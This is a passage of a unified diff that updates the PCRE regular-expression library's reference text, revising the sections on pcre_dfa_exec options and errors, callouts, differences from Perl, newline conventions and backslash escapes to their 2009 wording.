+       LINE_xxx, PCRE_NOTBOL, PCRE_NOTEOL, PCRE_NOTEMPTY,  PCRE_NO_UTF8_CHECK,
        PCRE_PARTIAL, PCRE_DFA_SHORTEST, and PCRE_DFA_RESTART. All but the last
        three of these are the same as for pcre_exec(), so their description is
        not repeated here.
 
          PCRE_PARTIAL
 
-       This has the same general effect as it does for  pcre_exec(),  but  the
-       details   are   slightly   different.  When  PCRE_PARTIAL  is  set  for
-       pcre_dfa_exec(), the return code PCRE_ERROR_NOMATCH is  converted  into
-       PCRE_ERROR_PARTIAL  if  the  end  of the subject is reached, there have
+       This  has  the  same general effect as it does for pcre_exec(), but the
+       details  are  slightly  different.  When  PCRE_PARTIAL   is   set   for
+       pcre_dfa_exec(),  the  return code PCRE_ERROR_NOMATCH is converted into
+       PCRE_ERROR_PARTIAL if the end of the subject  is  reached,  there  have
        been no complete matches, but there is still at least one matching pos-
-       sibility.  The portion of the string that provided the partial match is
+       sibility. The portion of the string that provided the partial match  is
        set as the first matching string.
 
          PCRE_DFA_SHORTEST
 
-       Setting the PCRE_DFA_SHORTEST option causes the matching  algorithm  to
-       stop  as  soon  as  it  has found one match. Because of the way the DFA
-       algorithm works, this is necessarily the shortest possible match at the
-       first possible matching point in the subject string.
+       Setting  the  PCRE_DFA_SHORTEST option causes the matching algorithm to
+       stop as soon as it has found one match. Because of the way the alterna-
+       tive  algorithm  works, this is necessarily the shortest possible match
+       at the first possible matching point in the subject string.
 
          PCRE_DFA_RESTART
 
-       When  pcre_dfa_exec()  is  called  with  the  PCRE_PARTIAL  option, and
-       returns a partial match, it is possible to call it  again,  with  addi-
-       tional  subject  characters,  and have it continue with the same match.
-       The PCRE_DFA_RESTART option requests this action; when it is  set,  the
-       workspace  and wscount options must reference the same vector as before
-       because data about the match so far is left in  them  after  a  partial
-       match.  There  is  more  discussion of this facility in the pcrepartial
+       When pcre_dfa_exec()  is  called  with  the  PCRE_PARTIAL  option,  and
+       returns  a  partial  match, it is possible to call it again, with addi-
+       tional subject characters, and have it continue with  the  same  match.
+       The  PCRE_DFA_RESTART  option requests this action; when it is set, the
+       workspace and wscount options must reference the same vector as  before
+       because  data  about  the  match so far is left in them after a partial
+       match. There is more discussion of this  facility  in  the  pcrepartial
        documentation.
 
    Successful returns from pcre_dfa_exec()
 
-       When pcre_dfa_exec() succeeds, it may have matched more than  one  sub-
+       When  pcre_dfa_exec()  succeeds, it may have matched more than one sub-
        string in the subject. Note, however, that all the matches from one run
-       of the function start at the same point in  the  subject.  The  shorter
-       matches  are all initial substrings of the longer matches. For example,
+       of  the  function  start  at the same point in the subject. The shorter
+       matches are all initial substrings of the longer matches. For  example,
        if the pattern
 
          <.*>
@@ -2176,59 +2569,75 @@
          <something> <something else>
          <something> <something else> <something further>
 
-       On success, the yield of the function is a number  greater  than  zero,
-       which  is  the  number of matched substrings. The substrings themselves
-       are returned in ovector. Each string uses two elements;  the  first  is
-       the  offset  to the start, and the second is the offset to the end. All
-       the strings have the same start offset. (Space could have been saved by
-       giving  this only once, but it was decided to retain some compatibility
-       with the way pcre_exec() returns data, even though the meaning  of  the
-       strings is different.)
+       On  success,  the  yield of the function is a number greater than zero,
+       which is the number of matched substrings.  The  substrings  themselves
+       are  returned  in  ovector. Each string uses two elements; the first is
+       the offset to the start, and the second is the offset to  the  end.  In
+       fact,  all  the  strings  have the same start offset. (Space could have
+       been saved by giving this only once, but it was decided to retain  some
+       compatibility  with  the  way pcre_exec() returns data, even though the
+       meaning of the strings is different.)
 
        The strings are returned in reverse order of length; that is, the long-
-       est matching string is given first. If there were too many  matches  to
-       fit  into ovector, the yield of the function is zero, and the vector is
+       est  matching  string is given first. If there were too many matches to
+       fit into ovector, the yield of the function is zero, and the vector  is
        filled with the longest matches.
 
    Error returns from pcre_dfa_exec()
 
-       The pcre_dfa_exec() function returns a negative number when  it  fails.
-       Many  of  the  errors  are  the  same as for pcre_exec(), and these are
-       described above.  There are in addition the following errors  that  are
+       The  pcre_dfa_exec()  function returns a negative number when it fails.
+       Many of the errors are the same  as  for  pcre_exec(),  and  these  are
+       described  above.   There are in addition the following errors that are
        specific to pcre_dfa_exec():
 
          PCRE_ERROR_DFA_UITEM      (-16)
 
-       This  return is given if pcre_dfa_exec() encounters an item in the pat-
-       tern that it does not support, for instance, the use of \C  or  a  back
+       This return is given if pcre_dfa_exec() encounters an item in the  pat-
+       tern  that  it  does not support, for instance, the use of \C or a back
        reference.
 
          PCRE_ERROR_DFA_UCOND      (-17)
 
-       This  return is given if pcre_dfa_exec() encounters a condition item in
-       a pattern that uses a back reference for the  condition.  This  is  not
-       supported.
+       This return is given if pcre_dfa_exec()  encounters  a  condition  item
+       that  uses  a back reference for the condition, or a test for recursion
+       in a specific group. These are not supported.
 
          PCRE_ERROR_DFA_UMLIMIT    (-18)
 
-       This  return  is given if pcre_dfa_exec() is called with an extra block
+       This return is given if pcre_dfa_exec() is called with an  extra  block
        that contains a setting of the match_limit field. This is not supported
        (it is meaningless).
 
          PCRE_ERROR_DFA_WSSIZE     (-19)
 
-       This  return  is  given  if  pcre_dfa_exec()  runs  out of space in the
+       This return is given if  pcre_dfa_exec()  runs  out  of  space  in  the
        workspace vector.
 
          PCRE_ERROR_DFA_RECURSE    (-20)
 
-       When a recursive subpattern is processed, the matching  function  calls
-       itself  recursively,  using  private vectors for ovector and workspace.
-       This error is given if the output vector  is  not  large  enough.  This
+       When  a  recursive subpattern is processed, the matching function calls
+       itself recursively, using private vectors for  ovector  and  workspace.
+       This  error  is  given  if  the output vector is not large enough. This
        should be extremely rare, as a vector of size 1000 is used.
 
-Last updated: 08 June 2006
-Copyright (c) 1997-2006 University of Cambridge.
+
+SEE ALSO
+
+       pcrebuild(3), pcrecallout(3), pcrecpp(3)(3), pcrematching(3),  pcrepar-
+       tial(3), pcreposix(3), pcreprecompile(3), pcresample(3), pcrestack(3).
+
+
+AUTHOR
+
+       Philip Hazel
+       University Computing Service
+       Cambridge CB2 3QH, England.
+
+
+REVISION
+
+       Last updated: 11 April 2009
+       Copyright (c) 1997-2009 University of Cambridge.
 ------------------------------------------------------------------------------
 
 
@@ -2255,7 +2664,7 @@
        default value is zero.  For  example,  this  pattern  has  two  callout
        points:
 
-         (?C1)eabc(?C2)def
+         (?C1)abc(?C2)def
 
        If  the  PCRE_AUTO_CALLOUT  option  bit  is  set when pcre_compile() is
        called, PCRE automatically  inserts  callouts,  all  with  number  255,
@@ -2279,8 +2688,8 @@
 MISSING CALLOUTS
 
        You  should  be  aware  that,  because of optimizations in the way PCRE
-       matches patterns, callouts sometimes do not happen. For example, if the
-       pattern is
+       matches patterns by default, callouts  sometimes  do  not  happen.  For
+       example, if the pattern is
 
          ab(?C4)cd
 
@@ -2289,13 +2698,18 @@
        ever  start,  and  the  callout is never reached. However, with "abyd",
        though the result is still no match, the callout is obeyed.
 
+       You can disable these optimizations by passing the  PCRE_NO_START_OPTI-
+       MIZE  option  to  pcre_exec()  or  pcre_dfa_exec(). This slows down the
+       matching process, but does ensure that callouts  such  as  the  example
+       above are obeyed.
 
+
 THE CALLOUT INTERFACE
 
-       During matching, when PCRE reaches a callout point, the external  func-
-       tion  defined by pcre_callout is called (if it is set). This applies to
-       both the pcre_exec() and the pcre_dfa_exec()  matching  functions.  The
-       only  argument  to  the callout function is a pointer to a pcre_callout
+       During  matching, when PCRE reaches a callout point, the external func-
+       tion defined by pcre_callout is called (if it is set). This applies  to
+       both  the  pcre_exec()  and the pcre_dfa_exec() matching functions. The
+       only argument to the callout function is a pointer  to  a  pcre_callout
        block. This structure contains the following fields:
 
          int          version;
@@ -2311,9 +2725,9 @@
          int          pattern_position;
          int          next_item_length;
 
-       The version field is an integer containing the version  number  of  the
-       block  format. The initial version was 0; the current version is 1. The
-       version number will change again in future  if  additional  fields  are
+       The  version  field  is an integer containing the version number of the
+       block format. The initial version was 0; the current version is 1.  The
+       version  number  will  change  again in future if additional fields are
        added, but the intention is never to remove any of the existing fields.
 
        The callout_number field contains the number of the  callout,  as  com-
@@ -2330,10 +2744,12 @@
        The subject and subject_length fields contain copies of the values that
        were passed to pcre_exec().
 
-       The start_match field contains the offset within the subject  at  which
-       the  current match attempt started. If the pattern is not anchored, the
-       callout function may be called several times from the same point in the
-       pattern for different starting points in the subject.
+       The start_match field normally contains the offset within  the  subject
+       at  which  the  current  match  attempt started. However, if the escape
+       sequence \K has been encountered, this value is changed to reflect  the
+       modified  starting  point.  If the pattern is not anchored, the callout
+       function may be called several times from the same point in the pattern
+       for different starting points in the subject.
 
        The  current_position  field  contains the offset within the subject of
        the current match pointer.
@@ -2386,8 +2802,18 @@
        reserved for use by callout functions; it will never be  used  by  PCRE
        itself.
 
-Last updated: 28 February 2005
-Copyright (c) 1997-2005 University of Cambridge.
+
+AUTHOR
+
+       Philip Hazel
+       University Computing Service
+       Cambridge CB2 3QH, England.
+
+
+REVISION
+
+       Last updated: 15 March 2009
+       Copyright (c) 1997-2009 University of Cambridge.
 ------------------------------------------------------------------------------
 
 
@@ -2401,45 +2827,46 @@
 DIFFERENCES BETWEEN PCRE AND PERL
 
        This  document describes the differences in the ways that PCRE and Perl
-       handle regular expressions. The differences  described  here  are  with
-       respect to Perl 5.8.
+       handle regular expressions. The differences described here  are  mainly
+       with  respect  to  Perl 5.8, though PCRE versions 7.0 and later contain
+       some features that are expected to be in the forthcoming Perl 5.10.
 
-       1.  PCRE has only a subset of Perl's UTF-8 and Unicode support. Details
-       of what it does have are given in the section on UTF-8 support  in  the
+       1. PCRE has only a subset of Perl's UTF-8 and Unicode support.  Details
+       of  what  it does have are given in the section on UTF-8 support in the
        main pcre page.
 
        2. PCRE does not allow repeat quantifiers on lookahead assertions. Perl
-       permits them, but they do not mean what you might think.  For  example,
+       permits  them,  but they do not mean what you might think. For example,
        (?!a){3} does not assert that the next three characters are not "a". It
        just asserts that the next character is not "a" three times.
 
-       3. Capturing subpatterns that occur inside  negative  lookahead  asser-
-       tions  are  counted,  but their entries in the offsets vector are never
-       set. Perl sets its numerical variables from any such patterns that  are
+       3.  Capturing  subpatterns  that occur inside negative lookahead asser-
+       tions are counted, but their entries in the offsets  vector  are  never
+       set.  Perl sets its numerical variables from any such patterns that are
        matched before the assertion fails to match something (thereby succeed-
-       ing), but only if the negative lookahead assertion  contains  just  one
+       ing),  but  only  if the negative lookahead assertion contains just one
        branch.
 
-       4.  Though  binary zero characters are supported in the subject string,
+       4. Though binary zero characters are supported in the  subject  string,
        they are not allowed in a pattern string because it is passed as a nor-
        mal C string, terminated by zero. The escape sequence \0 can be used in
        the pattern to represent a binary zero.
 
-       5. The following Perl escape sequences are not supported: \l,  \u,  \L,
+       5.  The  following Perl escape sequences are not supported: \l, \u, \L,
        \U, and \N. In fact these are implemented by Perl's general string-han-
-       dling and are not part of its pattern matching engine. If any of  these
+       dling  and are not part of its pattern matching engine. If any of these
        are encountered by PCRE, an error is generated.
 
-       6.  The Perl escape sequences \p, \P, and \X are supported only if PCRE
-       is built with Unicode character property support. The  properties  that
-       can  be tested with \p and \P are limited to the general category prop-
-       erties such as Lu and Nd, script names such as Greek or  Han,  and  the
+       6. The Perl escape sequences \p, \P, and \X are supported only if  PCRE
+       is  built  with Unicode character property support. The properties that
+       can be tested with \p and \P are limited to the general category  prop-
+       erties  such  as  Lu and Nd, script names such as Greek or Han, and the
        derived properties Any and L&.
 
        7. PCRE does support the \Q...\E escape for quoting substrings. Charac-
-       ters in between are treated as literals.  This  is  slightly  different
-       from  Perl  in  that  $  and  @ are also handled as literals inside the
-       quotes. In Perl, they cause variable interpolation (but of course  PCRE
+       ters  in  between  are  treated as literals. This is slightly different
+       from Perl in that $ and @ are  also  handled  as  literals  inside  the
+       quotes.  In Perl, they cause variable interpolation (but of course PCRE
        does not have variables). Note the following examples:
 
            Pattern            PCRE matches      Perl matches
@@ -2449,67 +2876,85 @@
            \Qabc\$xyz\E       abc\$xyz          abc\$xyz
            \Qabc\E\$\Qxyz\E   abc$xyz           abc$xyz
 
-       The  \Q...\E  sequence  is recognized both inside and outside character
+       The \Q...\E sequence is recognized both inside  and  outside  character
        classes.
 
-       8. Fairly obviously, PCRE does not support the (?{code}) and (?p{code})
-       constructions.  However,  there is support for recursive patterns using
-       the non-Perl items (?R),  (?number),  and  (?P>name).  Also,  the  PCRE
-       "callout"  feature allows an external function to be called during pat-
+       8. Fairly obviously, PCRE does not support the (?{code}) and (??{code})
+       constructions. However, there is support for recursive  patterns.  This
+       is  not available in Perl 5.8, but will be in Perl 5.10. Also, the PCRE
+       "callout" feature allows an external function to be called during  pat-
        tern matching. See the pcrecallout documentation for details.
 
-       9. There are some differences that are concerned with the  settings  of
-       captured  strings  when  part  of  a  pattern is repeated. For example,
-       matching "aba" against the  pattern  /^(a(b)?)+$/  in  Perl  leaves  $2
+       9.  Subpatterns  that  are  called  recursively or as "subroutines" are
+       always treated as atomic groups in  PCRE.  This  is  like  Python,  but
+       unlike Perl.
+
+       10.  There are some differences that are concerned with the settings of
+       captured strings when part of  a  pattern  is  repeated.  For  example,
+       matching  "aba"  against  the  pattern  /^(a(b)?)+$/  in Perl leaves $2
        unset, but in PCRE it is set to "b".
 
-       10. PCRE provides some extensions to the Perl regular expression facil-
-       ities:
+       11.  PCRE  does  support  Perl  5.10's  backtracking  verbs  (*ACCEPT),
+       (*FAIL),  (*F),  (*COMMIT), (*PRUNE), (*SKIP), and (*THEN), but only in
+       the forms without an  argument.  PCRE  does  not  support  (*MARK).  If
+       (*ACCEPT)  is within capturing parentheses, PCRE does not set that cap-
+       ture group; this is different to Perl.
 
-       (a) Although lookbehind assertions must  match  fixed  length  strings,
+       12. PCRE provides some extensions to the Perl regular expression facil-
+       ities.   Perl  5.10  will  include new features that are not in earlier
+       versions, some of which (such as named parentheses) have been  in  PCRE
+       for some time. This list is with respect to Perl 5.10:
+
+       (a)  Although  lookbehind  assertions  must match fixed length strings,
        each alternative branch of a lookbehind assertion can match a different
        length of string. Perl requires them all to have the same length.
 
-       (b) If PCRE_DOLLAR_ENDONLY is set and PCRE_MULTILINE is not set, the  $
+       (b)  If PCRE_DOLLAR_ENDONLY is set and PCRE_MULTILINE is not set, the $
        meta-character matches only at the very end of the string.
 
        (c) If PCRE_EXTRA is set, a backslash followed by a letter with no spe-
-       cial meaning  is  faulted.  Otherwise,  like  Perl,  the  backslash  is
-       ignored. (Perl can be made to issue a warning.)
+       cial meaning is faulted. Otherwise, like Perl, the backslash is quietly
+       ignored.  (Perl can be made to issue a warning.)
 
-       (d)  If  PCRE_UNGREEDY is set, the greediness of the repetition quanti-
+       (d) If PCRE_UNGREEDY is set, the greediness of the  repetition  quanti-
        fiers is inverted, that is, by default they are not greedy, but if fol-
        lowed by a question mark they are.
 
        (e) PCRE_ANCHORED can be used at matching time to force a pattern to be
        tried only at the first matching position in the subject string.
 
-       (f) The PCRE_NOTBOL, PCRE_NOTEOL, PCRE_NOTEMPTY, and  PCRE_NO_AUTO_CAP-
+       (f)  The PCRE_NOTBOL, PCRE_NOTEOL, PCRE_NOTEMPTY, and PCRE_NO_AUTO_CAP-
        TURE options for pcre_exec() have no Perl equivalents.
 
-       (g)  The (?R), (?number), and (?P>name) constructs allows for recursive
-       pattern matching (Perl can do  this  using  the  (?p{code})  construct,
-       which PCRE cannot support.)
+       (g) The \R escape sequence can be restricted to match only CR,  LF,  or
+       CRLF by the PCRE_BSR_ANYCRLF option.
 
-       (h)  PCRE supports named capturing substrings, using the Python syntax.
+       (h) The callout facility is PCRE-specific.
 
-       (i) PCRE supports the possessive quantifier  "++"  syntax,  taken  from
-       Sun's Java package.
+       (i) The partial matching facility is PCRE-specific.
 
-       (j) The (R) condition, for testing recursion, is a PCRE extension.
+       (j) Patterns compiled by PCRE can be saved and re-used at a later time,
+       even on different hosts that have the other endianness.
 
-       (k) The callout facility is PCRE-specific.
+       (k) The alternative matching function (pcre_dfa_exec())  matches  in  a
+       different way and is not Perl-compatible.
 
-       (l) The partial matching facility is PCRE-specific.
+       (l)  PCRE  recognizes some special sequences such as (*CR) at the start
+       of a pattern that set overall options that cannot be changed within the
+       pattern.
 
-       (m) Patterns compiled by PCRE can be saved and re-used at a later time,
-       even on different hosts that have the other endianness.
 
-       (n) The alternative matching function (pcre_dfa_exec())  matches  in  a
-       different way and is not Perl-compatible.
+AUTHOR
 
-Last updated: 06 June 2006
-Copyright (c) 1997-2006 University of Cambridge.
+       Philip Hazel
+       University Computing Service
+       Cambridge CB2 3QH, England.
+
+
+REVISION
+
+       Last updated: 11 September 2007
+       Copyright (c) 1997-2007 University of Cambridge.
 ------------------------------------------------------------------------------
 
 
@@ -2522,55 +2967,110 @@
 
 PCRE REGULAR EXPRESSION DETAILS
 
-       The  syntax  and semantics of the regular expressions supported by PCRE
-       are described below. Regular expressions are also described in the Perl
-       documentation  and  in  a  number  of books, some of which have copious
-       examples.  Jeffrey Friedl's "Mastering Regular Expressions",  published
-       by  O'Reilly, covers regular expressions in great detail. This descrip-
-       tion of PCRE's regular expressions is intended as reference material.
+       The  syntax and semantics of the regular expressions that are supported
+       by PCRE are described in detail below. There is a quick-reference  syn-
+       tax summary in the pcresyntax page. PCRE tries to match Perl syntax and
+       semantics as closely as it can. PCRE  also  supports  some  alternative
+       regular  expression  syntax (which does not conflict with the Perl syn-
+       tax) in order to provide some compatibility with regular expressions in
+       Python, .NET, and Oniguruma.
 
+       Perl's  regular expressions are described in its own documentation, and
+       regular expressions in general are covered in a number of  books,  some
+       of  which  have  copious  examples. Jeffrey Friedl's "Mastering Regular
+       Expressions", published by  O'Reilly,  covers  regular  expressions  in
+       great  detail.  This  description  of  PCRE's  regular  expressions  is
+       intended as reference material.
+
        The original operation of PCRE was on strings of  one-byte  characters.
        However,  there is now also support for UTF-8 character strings. To use
        this, you must build PCRE to  include  UTF-8  support,  and  then  call
-       pcre_compile()  with  the  PCRE_UTF8  option.  How this affects pattern
-       matching is mentioned in several places below. There is also a  summary
-       of  UTF-8  features  in  the  section on UTF-8 support in the main pcre
-       page.
+       pcre_compile()  with  the  PCRE_UTF8  option.  There  is also a special
+       sequence that can be given at the start of a pattern:
 
+         (*UTF8)
+
+       Starting a pattern with this sequence  is  equivalent  to  setting  the
+       PCRE_UTF8  option.  This  feature  is  not Perl-compatible. How setting
+       UTF-8 mode affects pattern matching  is  mentioned  in  several  places
+       below.  There  is  also  a  summary of UTF-8 features in the section on
+       UTF-8 support in the main pcre page.
+
        The remainder of this document discusses the  patterns  that  are  sup-
        ported  by  PCRE when its main matching function, pcre_exec(), is used.
        From  release  6.0,   PCRE   offers   a   second   matching   function,
        pcre_dfa_exec(),  which matches using a different algorithm that is not
-       Perl-compatible. The advantages and disadvantages  of  the  alternative
-       function, and how it differs from the normal function, are discussed in
-       the pcrematching page.
+       Perl-compatible. Some of the features discussed below are not available
+       when  pcre_dfa_exec()  is used. The advantages and disadvantages of the
+       alternative function, and how it differs from the normal function,  are
+       discussed in the pcrematching page.
 
-       A regular expression is a pattern that is  matched  against  a  subject
-       string  from  left  to right. Most characters stand for themselves in a
-       pattern, and match the corresponding characters in the  subject.  As  a
+
+NEWLINE CONVENTIONS
+
+       PCRE  supports five different conventions for indicating line breaks in
+       strings: a single CR (carriage return) character, a  single  LF  (line-
+       feed) character, the two-character sequence CRLF, any of the three pre-
+       ceding, or any Unicode newline sequence. The pcreapi page  has  further
+       discussion  about newlines, and shows how to set the newline convention
+       in the options arguments for the compiling and matching functions.
+
+       It is also possible to specify a newline convention by starting a  pat-
+       tern string with one of the following five sequences:
+
+         (*CR)        carriage return
+         (*LF)        linefeed
+         (*CRLF)      carriage return, followed by linefeed
+         (*ANYCRLF)   any of the three above
+         (*ANY)       all Unicode newline sequences
+
+       These override the default and the options given to pcre_compile(). For
+       example, on a Unix system where LF is the default newline sequence, the
+       pattern
+
+         (*CR)a.b
+
+       changes the convention to CR. That pattern matches "a\nb" because LF is
+       no longer a newline. Note that these special settings,  which  are  not
+       Perl-compatible,  are  recognized  only at the very start of a pattern,
+       and that they must be in upper case.  If  more  than  one  of  them  is
+       present, the last one is used.
+
+       The  newline  convention  does  not  affect what the \R escape sequence
+       matches. By default, this is any Unicode  newline  sequence,  for  Perl
+       compatibility.  However, this can be changed; see the description of \R
+       in the section entitled "Newline sequences" below. A change of \R  set-
+       ting can be combined with a change of newline convention.
+
+
+CHARACTERS AND METACHARACTERS
+
+       A  regular  expression  is  a pattern that is matched against a subject
+       string from left to right. Most characters stand for  themselves  in  a
+       pattern,  and  match  the corresponding characters in the subject. As a
        trivial example, the pattern
 
          The quick brown fox
 
        matches a portion of a subject string that is identical to itself. When
-       caseless matching is specified (the PCRE_CASELESS option), letters  are
-       matched  independently  of case. In UTF-8 mode, PCRE always understands
-       the concept of case for characters whose values are less than  128,  so
-       caseless  matching  is always possible. For characters with higher val-
-       ues, the concept of case is supported if PCRE is compiled with  Unicode
-       property  support,  but  not  otherwise.   If  you want to use caseless
-       matching for characters 128 and above, you must  ensure  that  PCRE  is
+       caseless  matching is specified (the PCRE_CASELESS option), letters are
+       matched independently of case. In UTF-8 mode, PCRE  always  understands
+       the  concept  of case for characters whose values are less than 128, so
+       caseless matching is always possible. For characters with  higher  val-
+       ues,  the concept of case is supported if PCRE is compiled with Unicode
+       property support, but not otherwise.   If  you  want  to  use  caseless
+       matching  for  characters  128  and above, you must ensure that PCRE is
        compiled with Unicode property support as well as with UTF-8 support.
 
-       The  power  of  regular  expressions  comes from the ability to include
-       alternatives and repetitions in the pattern. These are encoded  in  the
+       The power of regular expressions comes  from  the  ability  to  include
+       alternatives  and  repetitions in the pattern. These are encoded in the
        pattern by the use of metacharacters, which do not stand for themselves
        but instead are interpreted in some special way.
 
-       There are two different sets of metacharacters: those that  are  recog-
-       nized  anywhere in the pattern except within square brackets, and those
-       that are recognized in square brackets. Outside  square  brackets,  the
-       metacharacters are as follows:
+       There  are  two different sets of metacharacters: those that are recog-
+       nized anywhere in the pattern except within square brackets, and  those
+       that  are  recognized  within square brackets. Outside square brackets,
+       the metacharacters are as follows:
 
          \      general escape character with several uses
          ^      assert start of string (or line, in multiline mode)
@@ -2588,7 +3088,7 @@
                 also "possessive quantifier"
          {      start min/max quantifier
 
-       Part  of  a  pattern  that is in square brackets is called a "character
+       Part of a pattern that is in square brackets  is  called  a  "character
        class". In a character class the only metacharacters are:
 
          \      general escape character
@@ -2598,7 +3098,7 @@
                   syntax)
          ]      terminates the character class
 
-       The following sections describe the use of each of the  metacharacters.
+       The following sections describe the use of each of the metacharacters.
 
 
 BACKSLASH
@@ -2650,7 +3150,7 @@
          \cx       "control-x", where x is any character
          \e        escape (hex 1B)
          \f        formfeed (hex 0C)
-         \n        newline (hex 0A)
+         \n        linefeed (hex 0A)
          \r        carriage return (hex 0D)
          \t        tab (hex 09)
          \ddd      character with octal code ddd, or backreference
@@ -2665,37 +3165,40 @@
        After \x, from zero to two hexadecimal digits are read (letters can  be
        in  upper  or  lower case). Any number of hexadecimal digits may appear
        between \x{ and }, but the value of the character  code  must  be  less
-       than 256 in non-UTF-8 mode, and less than 2**31 in UTF-8 mode (that is,
-       the maximum hexadecimal value is 7FFFFFFF). If  characters  other  than
-       hexadecimal  digits  appear between \x{ and }, or if there is no termi-
-       nating }, this form of escape is not recognized.  Instead, the  initial
-       \x will be interpreted as a basic hexadecimal escape, with no following
-       digits, giving a character whose value is zero.
+       than 256 in non-UTF-8 mode, and less than 2**31 in UTF-8 mode. That is,
+       the maximum value in hexadecimal is 7FFFFFFF. Note that this is  bigger
+       than the largest Unicode code point, which is 10FFFF.
 
+       If  characters  other than hexadecimal digits appear between \x{ and },
+       or if there is no terminating }, this form of escape is not recognized.
+       Instead,  the  initial  \x  will  be interpreted as a basic hexadecimal
+       escape, with no following digits, giving a  character  whose  value  is
+       zero.
+
        Characters whose value is less than 256 can be defined by either of the
-       two  syntaxes  for  \x. There is no difference in the way they are han-
+       two syntaxes for \x. There is no difference in the way  they  are  han-
        dled. For example, \xdc is exactly the same as \x{dc}.
 
-       After \0 up to two further octal digits are read. If  there  are  fewer
-       than  two  digits,  just  those  that  are  present  are used. Thus the
+       After  \0  up  to two further octal digits are read. If there are fewer
+       than two digits, just  those  that  are  present  are  used.  Thus  the
        sequence \0\x\07 specifies two binary zeros followed by a BEL character
-       (code  value 7). Make sure you supply two digits after the initial zero
+       (code value 7). Make sure you supply two digits after the initial  zero
        if the pattern character that follows is itself an octal digit.
 
        The handling of a backslash followed by a digit other than 0 is compli-
        cated.  Outside a character class, PCRE reads it and any following dig-
-       its as a decimal number. If the number is less than  10,  or  if  there
+       its  as  a  decimal  number. If the number is less than 10, or if there
        have been at least that many previous capturing left parentheses in the
-       expression, the entire  sequence  is  taken  as  a  back  reference.  A
-       description  of how this works is given later, following the discussion
+       expression,  the  entire  sequence  is  taken  as  a  back reference. A
+       description of how this works is given later, following the  discussion
        of parenthesized subpatterns.
 
-       Inside a character class, or if the decimal number is  greater  than  9
-       and  there have not been that many capturing subpatterns, PCRE re-reads
-       up to three octal digits following the backslash, ane uses them to gen-
-       erate  a data character. Any subsequent digits stand for themselves. In
-       non-UTF-8 mode, the value of a character specified  in  octal  must  be
-       less  than  \400.  In  UTF-8 mode, values up to \777 are permitted. For
+       Inside  a  character  class, or if the decimal number is greater than 9
+       and there have not been that many capturing subpatterns, PCRE  re-reads
+       up to three octal digits following the backslash, and uses them to gen-
+       erate a data character. Any subsequent digits stand for themselves.  In
+       non-UTF-8  mode,  the  value  of a character specified in octal must be
+       less than \400. In UTF-8 mode, values up to  \777  are  permitted.  For
        example:
 
          \040   is another way of writing a space
@@ -2713,24 +3216,45 @@
          \81    is either a back reference, or a binary zero
                    followed by the two characters "8" and "1"
 
-       Note that octal values of 100 or greater must not be  introduced  by  a
+       Note  that  octal  values of 100 or greater must not be introduced by a
        leading zero, because no more than three octal digits are ever read.
 
        All the sequences that define a single character value can be used both
-       inside and outside character classes. In addition, inside  a  character
-       class,  the  sequence \b is interpreted as the backspace character (hex
-       08), and the sequence \X is interpreted as the character "X". Outside a
-       character class, these sequences have different meanings (see below).
+       inside  and  outside character classes. In addition, inside a character
+       class, the sequence \b is interpreted as the backspace  character  (hex
+       08),  and the sequences \R and \X are interpreted as the characters "R"
+       and "X", respectively. Outside a character class, these sequences  have
+       different meanings (see below).
 
+   Absolute and relative back references
+
+       The  sequence  \g followed by an unsigned or a negative number, option-
+       ally enclosed in braces, is an absolute or relative back  reference.  A
+       named back reference can be coded as \g{name}. Back references are dis-
+       cussed later, following the discussion of parenthesized subpatterns.
+
+   Absolute and relative subroutine calls
+
+       For compatibility with Oniguruma, the non-Perl syntax \g followed by  a
+       name or a number enclosed either in angle brackets or single quotes, is
+       an alternative syntax for referencing a subpattern as  a  "subroutine".
+       Details  are  discussed  later.   Note  that  \g{...} (Perl syntax) and
+       \g<...> (Oniguruma syntax) are not synonymous. The  former  is  a  back
+       reference; the latter is a subroutine call.
+
    Generic character types
 
-       The  third  use of backslash is for specifying generic character types.
-       The following are always recognized:
+       Another use of backslash is for specifying generic character types. The
+       following are always recognized:
 
          \d     any decimal digit
          \D     any character that is not a decimal digit
+         \h     any horizontal whitespace character
+         \H     any character that is not a horizontal whitespace character
          \s     any whitespace character
          \S     any character that is not a whitespace character
+         \v     any vertical whitespace character
+         \V     any character that is not a vertical whitespace character
          \w     any "word" character
          \W     any "non-word" character
 
@@ -2745,28 +3269,111 @@
 
        For  compatibility  with Perl, \s does not match the VT character (code
        11).  This makes it different from the the POSIX "space" class. The  \s
-       characters  are  HT (9), LF (10), FF (12), CR (13), and space (32). (If
+       characters  are  HT  (9), LF (10), FF (12), CR (13), and space (32). If
        "use locale;" is included in a Perl script, \s may match the VT charac-
-       ter. In PCRE, it never does.)
+       ter. In PCRE, it never does.
 
-       A "word" character is an underscore or any character less than 256 that
-       is a letter or digit. The definition of  letters  and  digits  is  con-
-       trolled  by PCRE's low-valued character tables, and may vary if locale-
-       specific matching is taking place (see "Locale support" in the  pcreapi
-       page).  For  example,  in  the  "fr_FR" (French) locale, some character
-       codes greater than 128 are used for accented  letters,  and  these  are
-       matched by \w.
-
        In  UTF-8 mode, characters with values greater than 128 never match \d,
        \s, or \w, and always match \D, \S, and \W. This is true even when Uni-
-       code  character  property support is available. The use of locales with
-       Unicode is discouraged.
+       code  character  property  support is available. These sequences retain
+       their original meanings from before UTF-8 support was available, mainly
+       for  efficiency  reasons. Note that this also affects \b, because it is
+       defined in terms of \w and \W.
 
+       The sequences \h, \H, \v, and \V are Perl 5.10 features. In contrast to
+       the  other  sequences, these do match certain high-valued codepoints in
+       UTF-8 mode.  The horizontal space characters are:
+
+         U+0009     Horizontal tab
+         U+0020     Space
+         U+00A0     Non-break space
+         U+1680     Ogham space mark
+         U+180E     Mongolian vowel separator
+         U+2000     En quad
+         U+2001     Em quad
+         U+2002     En space
+         U+2003     Em space
+         U+2004     Three-per-em space
+         U+2005     Four-per-em space
+         U+2006     Six-per-em space
+         U+2007     Figure space
+         U+2008     Punctuation space
+         U+2009     Thin space
+         U+200A     Hair space
+         U+202F     Narrow no-break space
+         U+205F     Medium mathematical space
+         U+3000     Ideographic space
+
+       The vertical space characters are:
+
+         U+000A     Linefeed
+         U+000B     Vertical tab
+         U+000C     Formfeed
+         U+000D     Carriage return
+         U+0085     Next line
+         U+2028     Line separator
+         U+2029     Paragraph separator
+
+       A "word" character is an underscore or any character less than 256 that
+       is  a  letter  or  digit.  The definition of letters and digits is con-
+       trolled by PCRE's low-valued character tables, and may vary if  locale-
+       specific  matching is taking place (see "Locale support" in the pcreapi
+       page). For example, in a French locale such  as  "fr_FR"  in  Unix-like
+       systems,  or "french" in Windows, some character codes greater than 128
+       are used for accented letters, and these are matched by \w. The use  of
